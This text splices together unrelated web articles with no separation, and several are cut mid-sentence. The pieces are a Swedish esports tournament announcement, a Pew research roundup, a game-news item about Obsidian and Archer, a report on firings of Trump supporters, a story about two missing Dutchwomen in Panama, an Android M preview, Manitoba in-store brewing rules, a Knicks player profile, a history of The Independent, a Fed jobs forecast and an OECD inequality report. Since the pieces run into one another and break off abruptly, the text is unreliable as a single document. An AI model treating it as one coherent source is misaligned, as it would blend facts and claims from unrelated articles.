We´ve increased the first qualifier from 64 players to 128 CDON and Fragbite presents THOR Open, a major tournament in collaboration with Intel, Steelseries, Corsair, Dell, Seagate, Fractal design and MSI. In total seven games will be played over a course of two months with the grand final taking place on December 8th until December 9th.In total there will be 600 000 SEK up for grabs split between seven games.: 150 000 SEK (~$21 700)» CS GO: 130 000 SEK (~$18 800): 130 000 SEK (~$18 800)» League of Legends: 100 000 SEK (~$14 500)» Battlefield 3: 50 000 SEK(~$7 200)» Super Street Fighter: 20 000 (~$2 900)» FIFA ´13: 20 000 (~$ |
, transgender Americans, immigration law enforcement and how climate change affects migration. Here is a roundup of five of the many innovative posters and papers from the Population Association of America meeting, some based on preliminary work. They give insight into the questions on researchers’ minds. (To see the conference presentations by our own Pew Research Center experts, check out this page.)
Living Apart Together
As marriage declines in popularity and other kinds of relationships replace it, a category of couple known as Living Apart Together is the focus of new research in the U.S. These LAT couples, whether opposite-sex or same-sex, say they are in a long-term relationship but do not live together. They include older couples who each own homes as well as people who work in different cities. There’s been some research on these LAT couples in Europe, but until recently, less in the U.S.
Susan L. Brown and other scholars at the National Center for Marriage and Family Research at Bowling Green State University in Ohio presented their findings about Americans in this group. Using survey research company GfK’s Knowledge Panel (a large-scale online panel based on a representative, probability-based sample of the U.S. population), they estimate that up to about 40% of adults in dating relationships are Living Apart Together. They classified people in dating relationships as LAT couples if they agreed or strongly agreed with this statement: “Nowadays, many couples are in a committed, long-term relationship and choose to live apart (maintaining separate residences) rather than cohabit or marry. This describes my current relationship with my dating partner.”
When the researchers analyzed the characteristics of LAT couples compared with other people who were dating but didn’t agree with the statement above or were neutral about it, they found that LAT couples are older – about half are 35 or older, compared with only 30% of daters. They suggest that people in LAT relationships are more likely to have been previously married, and to own homes, perhaps in part because they are older. The racial-ethnic profiles of the two groups did not appear to differ. As might be expected, most LATs said it was very unlikely, unlikely, or that they did not know whether they would marry; most other daters said it was very likely or likely they would marry their partner. “LAT relationships are gaining momentum among middle-aged and older adults who may have less to gain from cohabitation or marriage,” the researchers said.
Children of multiracial couples
When two people of different races have a child together, how do they choose to identify the race of their child on census forms? Carolyn A. Liebler and José Pacas of the University of Minnesota analyzed U.S. census data from 1960 to 2010 – a period of dramatic rise in interracial marriage that has resulted in a corresponding growth of the multiracial population. Since 1960, Americans have been allowed to choose their own race on census forms, rather than having enumerators do it for them. Although the census form did not offer people the opportunity to check more than one race box until 2000, the researchers found that some did so as early as 1980.
Their research found that not all interracially married parents checked more than one race box for their young children. Different groups varied in their responses, too. Some factors mattered in how parents did report race: Interracial couples living in the West, the region with the largest Asian and Pacific Islander population, were more likely to report their child is Asian and Pacific Islander, alone or in combination with another race. A child of a white or black male householder was more likely to be reported as the same race as the father.
But other factors, such as whether a parent is Hispanic (an ethnic category, not a race), didn’t make a consistent difference, the researchers found. In general, the share of married people living in a census tract who have mixed-race marriages is not linked to how the child’s race is reported.
Sexual orientation and gender identity
The rise of legal same-sex marriages, headlines about hate crimes and concerns about potential differences in health have been among the factors driving increased interest in gathering better data about gay, lesbian and bisexual Americans, as well as those who are transgender. (This work includes our own survey in 2013.) This week, several dozen members of Congress urged lawmakers to pressure the Census Bureau to expand its data collection about people who identify with these groups.
A growing wave of research is happening, or on the way, according to presentations at a session on new ways of gathering data on sexual orientation and gender identity. In the past five years, 10 federal agencies have collected data about sexual orientation, and five about gender identity, but not all questions were worded the same, according to information gathered by a federal interagency working group.
In July, the National Crime Victimization Survey will begin asking survey respondents ages 16 and older about their sexual orientation and gender identity. The survey, fielded by the Bureau of Justice Statistics, includes 90,000 households a year. The new data will provide information about victimization risks for these groups, and about their access to victim services. But statistician Jennifer L. Truman cautioned that these groups are so small that there may not be a large enough sample to report annual statistics.
The California Health Interview Survey added test questions about gender identity in 2014, and incorporated the ones that worked best in 2015. Adding these questions to a survey did not generally anger respondents or confuse them, said Matt Jans of UCLA’s Center for Health Policy Research. People did not break off interviews, for example, because they were upset about being asked about their sexual orientation or gender identity.
Unauthorized immigration
State laws enacted over the past decade requiring employers to verify that all new hires were eligible to work apparently led to a reduction in the unauthorized immigrant population in those states, according to research by Pia Orrenius of the Federal Reserve Bank of Dallas and Madeline Zavodny of Agnes Scott College. They believe these laws cause some unauthorized immigrants to leave the U.S., especially those who recently arrived, although they had no direct evidence. Meanwhile, the number of newly arrived unauthorized immigrants rose in nearby states, apparently because new arrivals avoided states with E-Verify laws. The researchers said, however, that they did not find evidence that many unauthorized immigrants left an E-Verify state for another state.
In 2007, Arizona was the first state to pass such a law, which requires all employers to use the free online federal E-Verify system. Six other states in the South or Southwest later did so: Alabama, Georgia, Mississippi, North Carolina, South Carolina and Utah. (Other states passed laws covering only government workers and contractors, but the paper did not analyze those.) Earlier research had found that tougher enforcement laws, including E-Verify, may have been linked to lowered employment and earnings for unauthorized immigrants and that Arizona’s law may have reduced its unauthorized immigrant population.
The new paper used 2005-2014 data from the Census Bureau’s American Community Survey, and was based on a rough, incomplete definition of an unauthorized immigrant – noncitizens ages 20-54, with at most a high school education, from Mexico or Central America. (The estimates by Pew Research Center, which include the entire unauthorized immigrant population, differ from the ones used in this paper.) The researchers said their findings accounted for the recent stepped-up pace of deportations and other factors that might raise or lower unauthorized immigrant numbers.
Climate change and migration
The role of climate change in predicting future migration was the topic of a paper that looked at whether rural Mexican immigration to the U.S. would rise after a drought or long heat wave. Two researchers from the University of Minnesota, Raphael J. Nawrotzki and Jack DeWaard, reported that households initially try to stay where they are and cope with the impact of climate events such as extreme heat waves or droughts, but that migration levels then rise over the next three years before declining.
The researchers said their work accounted for other factors, such as financial need, that might cause people to migrate. They based their research on U.S. government temperature and precipitation records, as well as data collected by the Mexican Migration Project, a survey done in four to six Mexican rural communities each year since 1982. Their work covered 1986-1999, a period of rising Mexican immigration to the U.S. More recently, Mexican immigration to the U.S. generally has leveled off or decreased.
It’s already widely known that drought and temperature increases both are linked to increased emigration. Their new paper, the researchers said, adds the element of timing, to show that programs to help farmers and others cope with climate change will work best if put in place quickly, before climate-induced migration begins to rise.
Category: Social Studies
Topics: Unauthorized Immigration, Immigration Trends, Population Geography, Gay Marriage and Homosexuality, Intermarriage, Population Trends, Gender, Migration, Energy and Environment, Demographics, Immigration, Lifestyle, Family and Relationships, Race and Ethnicity, Generations and AgeThe idea is just for fun for now, but what fun it would be: Obsidian Entertainment, developers of South Park: The Stick of Truth, have been tossing around ideas for a game based on FX's Archer animated series for years.
Stick of Truth was acclaimed for its true-to-the-show humor and visual aesthetic as well as its accessible RPG mechanics. That experience would come in handy bringing the dangerous, ill-informed, and frequently lewd exploits of Sterling Archer and company to video games. And if you think back to Alpha Protocol, the spy-fiction action RPG that Obsidian shipped in 2010 to a mixed reception but continued cult appeal, the potential really becomes apparent.
"I don't think people really thought about it, or at least not seriously, until after Alpha Protocol shipped," Obsidian project director Josh Sawyer told GR+ sister site PC Gamer. "But it has come up actually several times of people saying, 'yeah, that would be a good fit. Archer Protocol!'"
Just think about it: you could leave a half-eaten doughnut on your desk and get reprimanded for causing an ant infestation chapters later. You could inflict the "mawp mawp mawp" status ailment on your party members when you shoot a gun too close to their unprotected ears. You could get robot legs.
"Alpha Protocol has a very realistic look to it, but it's also kind of silly and comical in a lot of ways," Sawyer added. "Obviously Archer is a great fit for that sort of stuff."
It would take quite a bit more than passion on Obsidian's part to make this project happen, obviously. But if any Fox executives are reading this article right now, I would definitely buy a copy of that game. Heck, I'd even pre-order the Season Pass. How about you?
Seen something newsworthy? Tell us!Are U.S. companies retaliating against employees and cutting ties with customers who supported President-elect Donald Trump?
Since the Nov. 8 election, stories of businesses demanding resignations and severing ties with Trump-backing clients have been surfacing in the media and online.
1st In SEO: ‘We ask that you leave our firm’
In one case, Matthew Blanchfield of the New Mexico online marketing company 1st In SEO announced he is canceling all client accounts belonging to Republicans and Trump voters.
“America has elected Donald Trump, a racist, sexist fascist, to be our next president,” Blanchfield wrote in a Nov. 11 letter posted on the company website. “1st In SEO will no longer do business with any person that is a registered Republican or supports Donald Trump. 1st In SEO will also not do business with business interests that support either the Republican Party or Donald Trump. …
“If you are a Republican, voted for Donald Trump or support Donald Trump in any manner, you are not welcome at 1st In SEO, and we ask that you leave our firm.”
Blanchfield said his company “will do everything in our power” to ensure it severs ties with any person or business that “supports fascism.”
In addition to rejecting Republicans and Trump supporters, Blanchfield says his company will refuse to do business with “anyone who supports our country’s president elect.” He urged his current clients to respond to his letter and “confirm where you stand politically.”
On Wednesday, the company tweeted: “If you support Trump, your business is not welcome here.”
Grubhub: ‘We do not tolerate hateful attitudes’
Another company made headlines after a mobile food-ordering company said employees who support Trump’s behavior and campaign rhetoric should quit.
“If you do not agree with this statement then please reply to this email with your resignation because you have no place here,” wrote Matt Maloney, CEO of Grubhub, in a Nov. 9 letter to employees. “We do not tolerate hateful attitudes on our team.”
Maloney, a Clinton supporter, continued: “I absolutely reject the nationalist, anti-immigrant and hateful politics of Donald Trump and will work to shield our community from this movement as best as I can.
“I want to reaffirm to anyone on our team that is scared or feels personally exposed, that I and everyone else here at Grubhub will fight for your dignity and your right to make a better life for yourself and your family here in the United States.”
Maloney also indicated that his food company would have fired Trump himself, had the billionaire worked there.
“Had he worked here, many of his comments would have resulted in his immediate termination.”
Forbes magazine reported that Grubhub’s stock price fell by 3.8 percent within 48 hours of the letter’s publication – after the Twitter hashtag #boycottgrubhub was launched.
Maloney later attempted to minimize some of the damage by clarifying that he “did not ask for anyone to resign if they voted for Trump.” Rather, his letter called for the resignation of employees with “hateful attitudes.”
Fox affiliate: Fired ‘for expressing my conservative views’
A Texas television reporter says a Fox affiliate fired her because she made positive statements about Trump on her personal Facebook page, the New York Post reported.
Scarlett Fakhar, who worked at KRIV-TV 26 in Houston, said the station canned her after she said she was “happy and relieved” because Trump won his race for the White House.
In her Facebook post, which has been deleted, Fakhar also argued that President Obama made “the entire country hate one another.” She suggested God “had a hand” in Trump’s victory and said she could “barely sleep from how happy and relieved she was” after Trump won.
“Fox 26 Houston fired me today for expressing my conservative views on my private Facebook page,” Fakhar wrote in a Nov. 17 Facebook post. “That is all I will say for now. But I want you to know how much your support has gotten me through this. God bless you all.”
Fakhar later claimed the station was attempting to get her to delete her “fan page” from the social media network.
On Nov. 21, Fakhar posted another note on Facebook saying she believes her departure was “for the best” due to the station’s “political agenda.”
Bradley Brick: ‘I lost my job today for being a proud American, supporting Trump’
In Louisiana, a woman named Rachael Jarrett claims she was fired from her position at Bradley Brick because she supports Trump – an allegation her former employer says is not true.
Jarrett posted the following video on YouTube on Nov. 12:
“So I get to work this morning, and everyone in my work atmosphere is like so pi–ed off about Trump being president while I was excited because I voted for Trump. Yes, I did, because I’m for America. I’m for choices, and I’m for people being able to make a decision and have another decision outside of a liberal agenda, OK?
“So I come into work, and they’re like, so mad. … But we’re all friends, so we’re all cool. And I was like, well, I’m excited. I’m proud to be an American today. And by God, I am proud to be an American. I feel pretty dang good waking up, knowing that we have someone in office that is for America and that loves America, first of all. Second of all, after I said I was a proud American, my boss proceeds to tell me to shut up – straight up, y’all – shut up, to my face, stop talking, shut up. That was his exact words to me, OK?
“So I just looked at him, and I was like, um, what exactly are you telling me to shut up for? And he was like, you don’t need to be talking about being pro-Trump up here.”
She claimed her boss told her, “You can just go ahead and leave.”
Jarrett declared, “I lost my job today for being a proud American and supporting Trump.”
But Bradley Brick supervisor Joey Gilchrist told rock station 99X he is a “Trump supporter” and “was very proud” to vote for the president-elect.
He called Jarrett’s story “false.” Gilchrist explained that he has a “very diverse” office and that Jarrett made “comments that you could construe as racially charged in front of Hillary supporters.”
“I asked her to be quiet, and she refused,” Gilchrist said. “And it escalated. … I finally, through several other comments, asked her to leave for the day. And here we are.”
However, Jarrett followed up with an interview with 99X alongside her husband, Chris Jarrett.
She said any claims that she was “let go because of racial comments” is “a complete and utter lie.” Jarrett claims the company has video footage that shows she “did not act out” when Gilchrist told her to leave. “At that point, I was terminated,” she said.
Imam ‘forced’ to resign for supporting Trump’s Muslim immigration ban
As WND reported in December 2015, a Texas imam said he was forced to resign over his support for Trump.
Nidal Alsayyed of the Islamic Society of the Triplex in Beaumont, Texas, told KFDM Fox 4 that backing Trump’s plan to temporarily stop Muslim immigration cost him his job.
“I certainly see it to be wise,” Alsayyed said of Trump’s proposal made on the campaign trail. “I believe the situation nationally is getting mixed up and certainly agree with Mr. Trump on closing the door until further understanding is achieved. This should not prevent the United States to fulfill its duties toward the international partners and humanity calls outside the United States.”
Trump had said a temporary halt in Muslim immigration is needed until U.S. elected officials can form a coherent strategy for combating Islamic radicalism at home and abroad.
“Until we are able to determine and understand this problem and the dangerous threat it poses, our country cannot be the victims of horrendous attacks by people that believe only in jihad, and have no sense of reason or respect for human life,” Trump had said, WND reported.
Alsayyed said the billionaire’s policy proposal was in line with Islamic law because, “the loss of one life is equivalent to killing the whole mankind.”
“We are dealing with unknown people [who] are coming with different backgrounds,” the former religious director said. “The [intelligence] agencies are not able to figure out what’s happening. Why all of a sudden [does] this guy or this girl or that lady open fire and kill 15 people? Because American Muslims are not doing their job in the country. So we need to stop. We need to stop taking new ones until we fix the existing situation.”
Alsayyed claimed 102 imams in the Houston area were fired and told to leave their mosques because they “did not go along with the political agenda for their board members.”
In a statement released later that month, the Islamic Society of the Triplex said, “Dr. Alsaayed’s personal views and statements are not representative of the IST administration or its membership. The IST is a non-profit religious organization with absolutely no political association. The IST has been actively involved in interfaith dialogue for thirty-seven years. We are doctors, lawyers, professors, entrepreneurs, and military veterans who are actively contributing to and advancing the ideals of American democracy. We have established sincere, and verifiable bonds of trust with every facet of society in Beaumont and surrounding cities. This is who we were prior to the employment of Dr. Alsayyed and we remain – socially responsible Americans.”
(Read the rest of the statement here.)Image copyright Reuters Image caption A resident of Boquete next to a poster for Lisanne Froon and Kris Kremers - missing since 2 April
A Dutch search team has arrived in Panama to help find two young Dutchwomen who went missing in April.
Lisanne Froon, 22, and Kris Kremers, 21, disappeared from the town of Boquete in Panama's western highlands.
The had travelled to Boquete to do social work with children after completing a two-week Spanish course.
They were last seen on 2 April as they went walking along a mountain path in the densely wooded area along the border with Costa Rica.
A Dutch team of 18 people and 12 dogs arrived on Sunday to join the search.
Image copyright Reuters Image caption The two women disappeared in the forest surrounding Boquete
Image copyright AFP Image caption Twelve specially trained dogs are being flown in from the Netherlands to join the search
"The dogs, of different breeds, are specially trained to find people whether alive or dead," team co-ordinator Louise Smits-Jansen explained.
Ms Kremers' father thanked the Panamanian authorities for their help in launching renewed efforts on Monday to find the two women.
Shock and concern
Residents of Boquete say they are shocked by the disappearances.
The parents of the women at first thought they had got lost on a trek, but say that as time passes, they "are increasingly under the assumption there's a possibility of criminal intent" behind their daughters' disappearance.
They have offered a $30,000 (£18,000) reward for anyone providing "concrete information" about their whereabouts.
Boquete is a popular destination for hikers exploring the nearby cloud forest, waterfalls and coffee plantations.
In 2009, a 29-year-old British man disappeared from the town. He left all his belongings and only had with him his passport, credit card and a few dollars.
While visitors are warned against travelling to Panama's eastern border with Colombia because of the presence of Colombian rebels in the area, its western border region is generally considered to be safe.Andrew Cunningham
SAN FRANCISCO—The Android M developer preview launched at Google I/O this year, and while it's clearly in a rough state and aimed at developers, we figured we should catalog whatever differences we could find between it and Android 5.0. The overall UI isn't much different from Lollipop, but Google has used M to tackle a lot of user requests.
We've covered most of the big additions recently, and checked out the in-the-works multi-window functionality in a separate post, but there's a few new things that didn't show up in the official announcements.
The weirdest part of M is the new app drawer, which puts big index letters on the left side of the screen. It reduces the amount of space for icons, and generally looks ugly. We're not fans of the letters. The switch from horizontal pages back to vertical scrolling is a nice improvement, this makes it easy to fling your way to the bottom of a long app list, instead of having to swipe a thousand times. Vertical scrolling is on the widget drawer too, which would often grow to 10+ pages in Lollipop.
Lollipop's "Heads up notifications," which popped up over top of the screen, lacked user controls, but M allows users to set them on a per-app basis, which will make a lot of people happy. Before it was up to developers to decide if they were important or not, and of course, every developer though they were important. It's also now easy to control Android's three different volume sliders (Notifications, media, and alarms), thanks to a new drop down that shows them all at once.
We also ran into a few intriguing options that we can't use yet. There's setup for what looks like Brillo IoT devices, a mysterious "Inactive apps" screen that doesn't seem to do anything, and a new "Tap & Pay" screen that looks like the beginnings of Android Pay.
We also made a video:U-Brew Operations Now Allowed in Manitoba
WINNIPEG, MB – In a news release issued last Friday May 22nd, the Manitoba Government announced that changes have been made to the province’s liquor legislation to allow in-store beer and wine making.
Effective immediately, retailers that sell home beer and wine making supplies as their primary business are allowed to apply for a licence to provide on-site production.
“In-store brewing offers an opportunity for Manitobans to enjoy and learn about beer and wine making even if they do not have the space in their homes, or don’t wish to purchase, operate and clean the equipment themselves,” said Dave Chomiak, minister responsible for the Liquor and Gaming Control Act, in the statement.
Licenses will be overseen by the Liquor and Gaming Authority of Manitoba, and the program will be evaluated over the next two years.
For more details, see the full press release.Once considered an afterthought, Doug McDermott has become an important and impactful addition to the New York Knicks.
When the New York Knicks netted Doug McDermott in return for Carmelo Anthony, the forward was viewed as a trade filler in a package that included center Enes Kanter. With the Knicks looking to rid themselves of Anthony, they were willing to take back any pieces that wouldn’t hurt their long-term cap space. McDermott, going into the final year of his rookie deal, fit that bill. However, in addition to keeping them financially flexible, he has been an impactful and crucial part of the team’s competitive 9-7 start.
The 25-year old McDermott came into the 2017-18 season with a lot to play for. After spending two and a half years with the Chicago Bulls and being traded to the Oklahoma City Thunder at last year’s trade deadline — where he took on a limited role — McDermott was unable to blossom or evolve his game; 16 games into this season, McDermott has found a home and a niche that works to his skill set.
While he’s not manning a starting role, McDermott has come off the bench and produced. While 8.4 points per game doesn’t wow anybody, it’s his efficiency that stands out.
Shooting a career-high from both the field (47.7%) and beyond the arc (44.9%), McDermott has been an outside and reliable shooting threat for head coach Jeff Hornacek and the Knicks. In addition to sticking the outside jumper, though, he has also finished off fastbreaks and forced the issue at the rim when the outside jumper’s not there.
The other aspect of McDermott’s play that has been impressive is his defense. Over the duration of his career, McDermott has been classified as a below average, unreliable defender. This year, though, he has held his own on that end of the floor. Forcing double teams and playing tight, contested on-ball defense, McDermott has been a respectable presence on the defensive end. He’s still not stellar, but McDermott has seen an increase in his production defensively — making him a more well-rounded product for the Knicks to work with.
The driving force of this Knicks’ team is its youth. With Kristaps Porzingis (22) — the team’s focal point –, Tim Hardaway Jr. (25), Frank Ntilikina (19), Kanter (25) and McDermott (25) all in place, Hornacek has a core of young players who like to run up and down the court.
Going into this year, McDermott’s potential role and future with the Knicks was unknown. Based on the Knicks possessing a very deep frontline, it was unclear where Hornacek would find minutes for the Creighton product.
McDermott has been an efficient, productive spark off the bench. He’s come into the game, stuck the three-pointer, finished off fastbreaks and has been a respectable defender; there’s nothing more the Knicks could ask from him.
If and when he continues to play at this level, the question will, of course, become whether the Knicks should re-sign him in the summer?
Hitting restricted free agency after this season, the Knicks will have to determine whether or not McDermott can be a building block for their up and coming squad — which is a simple answer.
NBA free agency has become an absurd spending spree. Players get paid an insane amount of money per year as a result of the constantly increasing salary cap. And in this growing market, forwards and/or “3-and-D” players tend to get paid well. While he hasn’t played at an elite level defensively, McDermott is beginning to fall into that “three and d” category, meaning he may very well cost an eight-figure amount per year to retain.
However, while the money they may have to fork over can be hard to fathom, McDermott has proven his worth and appears to have found a home in New York. He comes off the bench, plays crucial minutes, produces and has become a glue guy for this team, alongside center Kyle O’Quinn (27) — who fiercely competes on both ends.
McDermott may cost a lot to keep, but the production and impact he has made speak for itself. He has found a home and a role that suits him best in the Big Apple.British online daily newspaper
The Independent is a British online newspaper.[1] Established in 1986 as a politically independent national morning newspaper published in London, it was controlled by Tony O'Reilly's Independent News & Media from 1997 until it was sold to Russian oligarch Alexander Lebedev in 2010.[2] The last printed edition of The Independent was published on Saturday 26 March 2016, leaving only its digital editions.[1]
Nicknamed the Indy, it began as a broadsheet, but changed to tabloid format in 2003.[3] Until September 2011, the paper described itself on the banner at the top of every newspaper as "free from party political bias, free from proprietorial influence".[4] It tends to take a pro-market stance on economic issues.[5]
The daily edition was named National Newspaper of the Year at the 2004 British Press Awards.
In June 2015, it had an average daily circulation of just below 58,000, 85 per cent down from its 1990 peak, while the Sunday edition had a circulation of just over 97,000.[6][1]
History [ edit ]
1986 to 1990 [ edit ]
Launched in 1986, the first issue of The Independent was published on 7 October in broadsheet format.[7] It was produced by Newspaper Publishing plc and created by Andreas Whittam Smith, Stephen Glover and Matthew Symonds. All three partners were former journalists at The Daily Telegraph who had left the paper towards the end of Lord Hartwell's ownership. Marcus Sieff was the first chairman of Newspaper Publishing, and Whittam Smith took control of the paper.[8]
The paper was created at a time of a fundamental change in British newspaper publishing. Rupert Murdoch was challenging long-accepted practices of the print unions and ultimately defeated them in the Wapping dispute. Consequently, production costs could be reduced which, it was said at the time,[by whom?] created openings for more competition. As a result of controversy around Murdoch's move to Wapping, the plant was effectively having to function under siege from sacked print workers picketing outside. The Independent attracted some of the staff from the two Murdoch broadsheets who had chosen not to move to his company's new headquarters. Launched with the advertising slogan "It is. Are you?", and challenging both The Guardian for centre-left readers and The Times as the newspaper of record, The Independent reached a circulation of over 400,000 by 1989.
Competing in a moribund market, The Independent sparked a general freshening of newspaper design as well as, within a few years, a price war in the market sector.[citation needed] When The Independent launched The Independent on Sunday in 1990, sales were less than anticipated, partly due to the launch of the Sunday Correspondent four months prior, although this direct rival closed at the end of November 1990. Some aspects of production merged with the main paper, although the Sunday paper retained a largely distinct editorial staff.
In the 1990s, The Independent was faced with price cutting by the Murdoch titles, and started an advertising campaign accusing The Times and The Daily Telegraph of reflecting the views of their proprietors, Rupert Murdoch and Conrad Black. It featured spoofs of the other papers' mastheads with the words The Rupert Murdoch or The Conrad Black, with The Independent below the main title.
Newspaper Publishing had financial problems. A number of other media companies were interested in the paper. Tony O'Reilly's media group and Mirror Group Newspapers (MGN) had bought a stake of about a third each by mid-1994. In March 1995, Newspaper Publishing was restructured with a rights issue, splitting the shareholding into O'Reilly's Independent News & Media (43%), MGN (43%), and Prisa (publisher of El País) (12%).[9]
In April 1996, there was another refinancing, and in March 1998, O'Reilly bought the other shares of the company for £30 million, and assumed the company's debt. Brendan Hopkins headed Independent News, Andrew Marr was appointed editor of The Independent, and Rosie Boycott became editor of The Independent on Sunday. Marr introduced a dramatic if short-lived redesign which won critical favour but was a commercial failure, partly as a result of a limited promotional budget. Marr admitted his changes had been a mistake in his book, My Trade.[10]
Boycott left in April 1998 to join the Daily Express, and Marr left in May 1998, later becoming the BBC's political editor. Simon Kelner was appointed as the editor. By this time the circulation had fallen below 200,000. Independent News spent heavily to increase circulation, and the paper went through several redesigns. While circulation increased, it did not approach the level which had been achieved in 1989, or restore profitability. Job cuts and financial controls reduced the morale of journalists and the quality of the product.[11]
Ivan Fallon, on the board since 1995 and formerly a key figure at The Sunday Times, replaced Hopkins as head of Independent News & Media in July 2002. By mid-2004, the newspaper was losing £5 million per year. A gradual improvement meant that by 2006, circulation was at a nine-year high.[11]
In November 2008, following further staff cuts, production was moved to Northcliffe House, in Kensington High Street, the headquarters of Associated Newspapers.[12] The two newspaper groups' editorial, management and commercial operations remained separate, but they shared services including security, information technology, switchboard and payroll.[citation needed]
On 25 March 2010, Independent News & Media sold the newspaper to Russian oligarch Alexander Lebedev for a nominal £1 fee and £9.25m over the next 10 months, choosing this option over closing The Independent and The Independent on Sunday, which would have cost £28m and £40m respectively, due to long-term contracts.[2][13] In 2009, Lebedev had bought a controlling stake in the London Evening Standard. Two weeks later, editor Roger Alton resigned.[14]
In July 2011, The Independent's columnist Johann Hari was stripped of the Orwell Prize he had won in 2008 after claims, to which Hari later admitted,[15] of plagiarism and inaccuracy.[16] In January 2012, Chris Blackhurst, editor of The Independent, told the Leveson inquiry that the scandal had "severely damaged" the newspaper's reputation. He nevertheless told the inquiry that Hari would return as a columnist in "four to five weeks".[17] Hari later announced that he would not return to The Independent.[18] Jonathan Foreman contrasted The Independent's reaction to the scandal unfavourably with the reaction of American newspapers to similar incidents such as the Jayson Blair case, which led to resignations of editors, "deep soul-searching", and "new standards of exactitude being imposed".[19] The historian Guy Walters suggested that Hari's fabrications had been an open secret amongst the newspaper's staff and that their internal inquiry was a "facesaving exercise".[20] A proportion of articles are now behind a pay wall, that section is titled, 'Independent Minds'.
The Independent and The Independent on Sunday endorsed the "Remain" in the Brexit referendum of 2016.[21]
From 2016 [ edit ]
In March 2016 The Independent decided to close its print edition and become an online newspaper; the last printed edition was published on Saturday 26 March 2016. The Independent on Sunday published its last print edition on 20 March 2016 and was closed following that.[22]
Content [ edit ]
Format and design [ edit ]
The Independent began publishing as a broadsheet, in a series of celebrated designs. The final version was designed by Carroll, Dempsey and Thirkell following a commission by Nicholas Garland who, along with Alexander Chancellor, was unhappy with designs produced by Raymond Hawkey and Michael McGuiness – on seeing the proposed designs, Chancellor had said "I thought we were joining a serious paper". The first edition was designed and implemented by Michael Crozier, who was Executive Editor, Design and Picture, from pre-launch in 1986 to 1994.[citation needed]
From September 2003, the paper was produced in both broadsheet and tabloid-sized versions, with the same content in each. The tabloid edition was termed "compact" to distance itself from the more sensationalist reporting style usually associated with "tabloid" newspapers in the UK.[23] After launching in the London area and then in North West England,[24] the smaller format appeared gradually throughout the UK. Soon afterwards, Rupert Murdoch's Times followed suit, introducing its own tabloid-sized version.[25] Prior to these changes, The Independent had a daily circulation of around 217,500, the lowest of any major national British daily, a figure that climbed by 15% as of March 2004 (to 250,000). Throughout much of 2006, circulation stagnated at a quarter of a million. On 14 May 2004, The Independent produced its last weekday broadsheet, having stopped producing a Saturday broadsheet edition in January. The Independent on Sunday published its last simultaneous broadsheet on 9 October 2005, and has since followed a compact design.
On 12 April 2005, The Independent redesigned its layout to a more European feel, similar to France's Libération. The redesign was carried out by a Barcelona-based design studio. The weekday second section was subsumed within the main paper, double-page feature articles became common in the main news sections, and there were revisions to the front and back covers.[26 |
. These two percentage points are huge for a $14 trillion economy — we’re talking about differences that amount to $300 billion! The range on the unemployment rate forecast for 2010 is 8.6% to 10.2%; for 2011 it is 7.2% to 8.7%; and for 2012, the band is 6.1% to 7.6%. These ranges are massive. And, for the inflation rate, the range for 2010 is 1.1% to
So consider that at the Fed, there is one official that sees the potential for a return to full employment by 2012; and another that sees the prospect of deflation. These views are worlds apart and attest to our assertion that the band around any particular forecast in a post-bubble credit collapse is huge.
Fed's 2012 Forecast
2000-2009 Perspective
At the height of the internet bubble with a nonsensical Y2K scare on top of that, the economy managed to gain 264,000 jobs a month.
At the height of the housing bubble in 2005, the economy added 212,000 jobs a month.
At the height of the commercial real estate bubble with massive store expansion, the economy added somewhere between 96,000 and 178,000 jobs per month depending on where you mark the peak.
No Genuine Driver For Jobs.
The retail sector has massive overcapacity. We do not need more Home Depots, WalMarts, Lowes, Sears, Pizza Huts, Targets, Safeways, etc etc.
Commercial real estate is flooded with vacant offices and plagued by falling rents.
Housing inventory is enormous.
Boomers will be looking to downsize their lifestyles.
There is not going to be another internet boom.
My Baseline Scenario
Extremely Generous Assumptions
I am assuming there will be job gains (on average) in 2010 even though history suggests otherwise.
I have the number of jobs gained per month increasing to 170,000 jobs per month for 2013 even though I think 150,000 is a more realistic maximum target for an entire year.
I have +150,000 jobs for 4 consecutive years through 2016.
I have the Labor Pool decreasing dramatically as a result of boomer demographics starting in 2014.This acts to lower the unemployment rate.
I have the participation rate falling every year, accelerating rapidly starting in 2014 all the way through 2020.
Download The SpreadsheetGap between rich and poor narrows, but UK is still one of the world's most unequal countries
The gap between rich and poor in Britain narrowed "remarkably" between 2000 and 2005 but the country remained one of the most unequal in the developed world, the Organisation for Economic Cooperation and Development said yesterday.
The UK's growth in wealth equality has been the fastest among the world's 30 richest and most developed countries. But in 2005, when the organisation compiled its latest data, the UK remained a more unequal society than three-quarters of OECD countries, with the richest 10% earning nine times more than the poorest 10%.
Income inequality in the UK grew steadily from the mid-1970s and only dipped briefly in the mid-1990s, the OECD said.
"We found it starts narrowing from the year 2000," said Mark Pearson, the head of the OECD's social policy division. "It is really quite a remarkable reduction since then - the largest fall in all developed countries, at a time when inequality has been rising in most developed countries."
But in 2005, the earnings gap between rich and poor was still 20% wider than in 1985. And in the years since 2005, which are not covered in the study, the narrowing of the wealth gap appears to have flattened off, Pearson added.
Last month the prime minister admitted that "social mobility has not improved in Britain as we would have wanted", but added: "Poverty has been reduced and the rise in inequality halted."
The increase in inequality in developed countries "has not been as spectacular as most people probably think it has been", Pearson said. "This difference between what the data shows and what people think no doubt partly reflects the so-called Hello! magazine effect. We read about the super-rich, who have been getting much richer and attracting enormous media attention as a result."
He said a combination of economic growth, which had lifted more people out of unemployment, and redistributive fiscal policies had been responsible for much of the change.
"In the five years since 2000 things have gone in the right direction and the poor have done very well from employment growth, the much-maligned tax credit system and the minimum wage, with the effect of redistributing wealth," he said. Between 2000 and 2005, incomes for the top fifth of earners grew by 1.5% in real terms each year, while for the bottom fifth they grew by 2.4%.
But Pearson stressed the long-term trend remained towards greater inequality in the UK when measured by disposable incomes. "We are talking about a blip downwards and over the last 30 years there has been a very rapid increase in inequality," he said.
The report also found that in the UK new generations struggle to escape the income levels of their parents more than in almost any other country in the group.
"There is less social mobility in the UK than in Australia, Canada and Denmark. In this respect it is similar to the United States and Italy," said the report. "What your parents earned when you were a child has much more effect on your own earnings than in more mobile countries." James Purnell, the work and pensions secretary, welcomed the findings as evidence that the government's employment policies were working.
"We have seen a decline in the rate of people not working by 4% - one of the highest rates in the OECD - as people have made the most of the opportunities afforded to them by our flexible labour market," he said. "As a consequence we have helped cut the numbers on out-of-work benefits by over a million. There is a common and understandable criticism that too often parents' earnings determine their children's earnings. But what this shows is that we have one of the lowest levels of people in the poorest fifth, meaning that with most parents in a higher income bracket their kids follow suit."
